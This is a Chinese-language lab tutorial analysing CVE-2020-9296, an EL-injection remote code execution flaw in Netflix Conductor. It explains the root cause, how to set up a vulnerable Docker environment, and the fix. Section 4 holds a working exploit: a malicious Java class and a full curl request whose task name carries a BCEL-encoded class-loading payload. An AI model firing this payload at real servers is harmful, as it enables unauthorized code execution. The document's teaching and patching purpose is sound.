CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析
字数 1513 2025-08-25 22:58:55

Netflix Conductor RCE漏洞(CVE-2020-9296)分析与利用教学文档

1. 漏洞概述

CVE-2020-9296是Netflix Conductor工作流编排引擎中存在的一个远程代码执行漏洞。该漏洞源于对Java Bean Validation (JSR 380)中buildConstraintViolationWithTemplate函数的不当使用,导致攻击者可以通过注入Java EL表达式实现任意代码执行。

2. 漏洞原理

2.1 漏洞成因

漏洞的核心问题在于:

  1. 系统使用了Java Bean Validation自定义约束验证器
  2. 在构建自定义约束违反错误消息时,支持了Java EL表达式插值
  3. 错误消息模板中包含了用户可控的输入

具体来说,TaskTimeoutConstraint.java中使用了ConstraintValidatorContext.buildConstraintViolationWithTemplate()函数,且参数是通过String.format()生成的格式化字符串,其中包含了用户可控的变量。

2.2 漏洞触发流程

  1. 攻击者通过POST请求访问/api/metadata/taskdefs创建TaskDef对象
  2. 构造的参数满足taskDef.getTimeoutSeconds() > 0taskDef.getResponseTimeoutSeconds() > taskDef.getTimeoutSeconds()条件
  3. TaskTimeoutValidator校验失败
  4. TaskDef的name属性作为错误信息的一部分通过buildConstraintViolationWithTemplate()输出
  5. 由于name是构造好的Java EL表达式,表达式会被执行,导致RCE

3. 环境搭建

3.1 下载源码

git clone https://github.com/Netflix/conductor.git
cd conductor
git checkout v2.25.0  # 切换到存在漏洞的分支

3.2 启动Docker环境

cd docker
docker-compose up -d

4. 漏洞利用

4.1 利用原理

利用com.sun.org.apache.bcel.internal.util.ClassLoader加载恶意构造的类来实现RCE。

4.2 恶意类构造

创建恶意Java类Evil.java

public class Evil {
    public Evil() {
        try {
            Runtime.getRuntime().exec("touch /tmp/pwned");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public static void main(String[] args) {
    }
}

编译后使用BCEL编码工具将其转换为BCEL格式。

4.3 构造攻击请求

使用curl发送恶意请求:

curl --location --request POST 'http://localhost:8080/api/metadata/taskdefs' \
--header 'Content-Type: application/json' \
--data-raw '[{
    "name": "${''.getClass().forName(''com.sun.org.apache.bcel.internal.util.ClassLoader'').newInstance().loadClass(''
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$94J$b1$W$a9$u$u$f8$af$LQ$T$d9$b8$c3$b81$b8$c2$9f$I$d1$85$hK$99$e0$m$b4M$j$d07r$cd$G$8d$L$l$c0$87R$ef$8c$89$98h$93$b93$f7$dcs$bf$9b$99$be$7f$bc$be$B$d8$c7$a6$8d$U$e6l$e4$90Oa$5e$ed$L$W$K6$sP$b4$b0ha$89$ny$m$C$n$P$Z$S$a5$edK$G$f3$ulq$86LM$E$fc$b4$dfk$f2$b8$e15$bb$a4$a4$eb$d2$f3$efN$bcH$e7$ba$bb$40$f6$9e$t$C$86$7c$e9$ba$d6$f1$G$5e$b9$eb$F$edr$5d$c6$ohW$U$ce$ae$87$fd$d8$e7$c7B$n$s$ab$D$d1$ddS$3e$H$93$b0$z$y$3bX$c1$w$83$x$c3$be$7f$bbV$96$bd$a8$i$3d$E$bc$e5$60$N$eb$M$b3cf$f5$d1$e7$91$Ua$e0$60$D6$NV$y$ea$i$3b$ce$9a$j$eeK$86$99$b1t$d1$P$a4$e8$d1d$bb$cd$e5O$92$xm$d7$fex$w$84$e4$8f$dcg$d8$w$fds$95_$d2y$i$fa$fc$fe$9e$g2$R$V$a5$7e$97F$ec$f9$i$eb$b0$e8$bd$d5g$80$a9$xR$9c$a2$ec$86r$83$f6$fc$ce3$d8$L$8clb$E$f3$ea$J$a9$da$ee$I$c9$n$b9L$a4$e1$d2o1$e0$90$af$88$a4f$98Z$b7te$86$b4$i$d1$d3Tqa$7cR$60$W$a6U$c8$984$cb$r$c7$f7$b4$C$z$a6$d6P$l$U0$a9$F$87bV$83g$bf$AU$b9$Sh$o$C$A$A'').newInstance().class}",
    "ownerEmail": "test@example.org",
    "retryCount": 3,
    "timeoutSeconds": 1200,
    "inputKeys": ["sourceRequestId", "qcElementType"],
    "outputKeys": ["state", "skipped", "result"],
    "timeoutPolicy": "TIME_OUT_WF",
    "retryLogic": "FIXED",
    "retryDelaySeconds": 600,
    "responseTimeoutSeconds": 3600,
    "concurrentExecLimit": 100,
    "rateLimitFrequencyInSeconds": 60,
    "rateLimitPerFrequency": 50,
    "isolationgroupId": "myIsolationGroupId"
}]'

4.4 验证攻击

进入Docker容器检查是否成功创建文件:

docker exec -it <container_id> bash
ls /tmp/pwned  # 检查文件是否创建成功

5. 漏洞修复

开发者将org.hibernate:hibernate-validator替换为org.apache.bval:bval-jsr,后者在最新版本下不会解析Java EL表达式,从而消除了RCE风险。

修复建议:

  1. 升级到最新版本的Netflix Conductor
  2. 如果无法升级,可以替换验证器实现为不解析EL表达式的版本

6. 相关参考

  1. 官方漏洞通告:https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md
  2. Netflix Conductor项目:https://github.com/Netflix/conductor
  3. 类似漏洞CVE-2020-10199:Nexus Repository Manager RCE

7. 总结

该漏洞展示了在错误消息处理中不当使用用户输入的危险性,特别是在支持表达式解析的环境中。开发人员应:

  1. 避免在错误消息中使用用户可控的输入
  2. 禁用不必要的表达式解析功能
  3. 对必须使用用户输入的场景进行严格的过滤和转义
Netflix Conductor RCE漏洞(CVE-2020-9296)分析与利用教学文档 1. 漏洞概述 CVE-2020-9296是Netflix Conductor工作流编排引擎中存在的一个远程代码执行漏洞。该漏洞源于对Java Bean Validation (JSR 380)中 buildConstraintViolationWithTemplate 函数的不当使用,导致攻击者可以通过注入Java EL表达式实现任意代码执行。 2. 漏洞原理 2.1 漏洞成因 漏洞的核心问题在于: 系统使用了Java Bean Validation自定义约束验证器 在构建自定义约束违反错误消息时,支持了Java EL表达式插值 错误消息模板中包含了用户可控的输入 具体来说, TaskTimeoutConstraint.java 中使用了 ConstraintValidatorContext.buildConstraintViolationWithTemplate() 函数,且参数是通过 String.format() 生成的格式化字符串,其中包含了用户可控的变量。 2.2 漏洞触发流程 攻击者通过POST请求访问 /api/metadata/taskdefs 创建TaskDef对象 构造的参数满足 taskDef.getTimeoutSeconds() > 0 且 taskDef.getResponseTimeoutSeconds() > taskDef.getTimeoutSeconds() 条件 TaskTimeoutValidator 校验失败 TaskDef的name属性作为错误信息的一部分通过 buildConstraintViolationWithTemplate() 输出 由于name是构造好的Java EL表达式,表达式会被执行,导致RCE 3. 环境搭建 3.1 下载源码 3.2 启动Docker环境 4. 漏洞利用 4.1 利用原理 利用 com.sun.org.apache.bcel.internal.util.ClassLoader 加载恶意构造的类来实现RCE。 4.2 恶意类构造 创建恶意Java类 Evil.java : 编译后使用BCEL编码工具将其转换为BCEL格式。 4.3 构造攻击请求 使用curl发送恶意请求: 4.4 验证攻击 进入Docker容器检查是否成功创建文件: 5. 漏洞修复 开发者将 org.hibernate:hibernate-validator 替换为 org.apache.bval:bval-jsr ,后者在最新版本下不会解析Java EL表达式,从而消除了RCE风险。 修复建议: 升级到最新版本的Netflix Conductor 如果无法升级,可以替换验证器实现为不解析EL表达式的版本 6. 相关参考 官方漏洞通告:https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md Netflix Conductor项目:https://github.com/Netflix/conductor 类似漏洞CVE-2020-10199:Nexus Repository Manager RCE 7. 总结 该漏洞展示了在错误消息处理中不当使用用户输入的危险性,特别是在支持表达式解析的环境中。开发人员应: 避免在错误消息中使用用户可控的输入 禁用不必要的表达式解析功能 对必须使用用户输入的场景进行严格的过滤和转义